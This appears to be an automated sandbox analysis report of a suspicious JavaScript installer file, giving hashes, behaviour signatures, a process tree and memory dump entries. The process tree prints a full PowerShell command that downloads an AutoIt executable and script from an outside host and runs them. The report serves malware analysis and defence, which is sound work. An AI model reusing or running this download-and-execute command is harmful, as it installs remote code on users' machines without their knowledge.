Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    31-10-2023 15:32

General

  • Target

    31102023_2331_StartInstaller.js

  • Size

    135KB

  • MD5

    ddcba7389f0d1e6f2136434337077180

  • SHA1

    767db09b9d97cbc4f302ec9b994541630da91d32

  • SHA256

    3a9494dd4b5de532abfffc60639bd1347e41f60582954a14d7c1e32ede07d8b0

  • SHA512

    0a7ed12a97e414bb2cbbd99243000ffef58b1c79ef87da8d43633b8968d0a397d77b21d1c4ee62290ebbd5c940016953a80e41f8ffa9ebad21f718a1ef064bba

  • SSDEEP

    1536:hZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/04:UT9U7hgaX6eerjqlI2IO6Mzqffxu

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\31102023_2331_StartInstaller.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.noheroway.com:443/msitgileccg' -OutFile 'tgileccg.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'tgileccg.au3'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1280

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1280-4-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

    Filesize

    2.9MB

  • memory/1280-6-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1280-5-0x00000000020A0000-0x00000000020A8000-memory.dmp

    Filesize

    32KB

  • memory/1280-7-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1280-8-0x00000000029A0000-0x0000000002A20000-memory.dmp

    Filesize

    512KB

  • memory/1280-10-0x00000000029A0000-0x0000000002A20000-memory.dmp

    Filesize

    512KB

  • memory/1280-9-0x00000000029A0000-0x0000000002A20000-memory.dmp

    Filesize

    512KB

  • memory/1280-11-0x00000000029A0000-0x0000000002A20000-memory.dmp

    Filesize

    512KB

  • memory/1280-12-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

    Filesize

    9.6MB